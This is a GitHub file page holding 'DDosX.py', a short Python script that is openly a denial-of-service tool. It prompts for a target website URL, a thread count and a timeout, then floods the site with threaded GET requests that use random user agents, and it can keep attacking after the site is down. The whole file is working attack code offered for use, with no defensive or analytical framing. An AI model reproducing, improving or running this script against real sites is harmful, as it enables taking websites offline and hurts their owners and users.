-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathDDosX.py
54 lines (39 loc) · 1.56 KB
/
DDosX.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from os import X_OK
from colorama import init
from colorama import Fore, Back, Style
import requests
import random
import threading
text_url = input("$DDosX >>> | Website URL (http://website.com): ")
url = str(text_url)
text_threads = input("$DDosX >>> | Threads: ")
threads = int(text_threads)
text_timeout = input("$DDosX >>> | Timeout: ")
timeout = int(text_timeout)
text_keepattack = input(
"$DDosX >>> | Keep Attack ?(Keep sending requestes even if the site is down | Default: False): ")
keepAttack = str(text_keepattack)
print(Fore.GREEN + "$DDosX >>> | Attack has been started for: " + url)
downMsgSent = False
def Attack():
try:
userAgent = getRandomUserAgent()
headers = {'user-agent': userAgent}
x = requests.get(url, headers=headers, timeout=timeout)
if(x.status_code == 200):
if(keepAttack == True or keepAttack == "True" or keepAttack == "true" or keepAttack == "yes" or keepAttack == "on" or keepAttack == "enable" or keepAttack == "y"):
Attack()
except:
if(keepAttack == True or keepAttack == "True" or keepAttack == "true" or keepAttack == "yes" or keepAttack == "on" or keepAttack == "enable" or keepAttack == "y"):
Attack()
def getRandomUserAgent():
useragents = open('useragents.txt').read().splitlines()
useragent = random.choice(useragents)
return useragent
totalThr = []
for i in range(threads):
thr = threading.Thread(target=Attack)
thr.start()
totalThr.append(thr)
for cThr in totalThr:
cThr.join()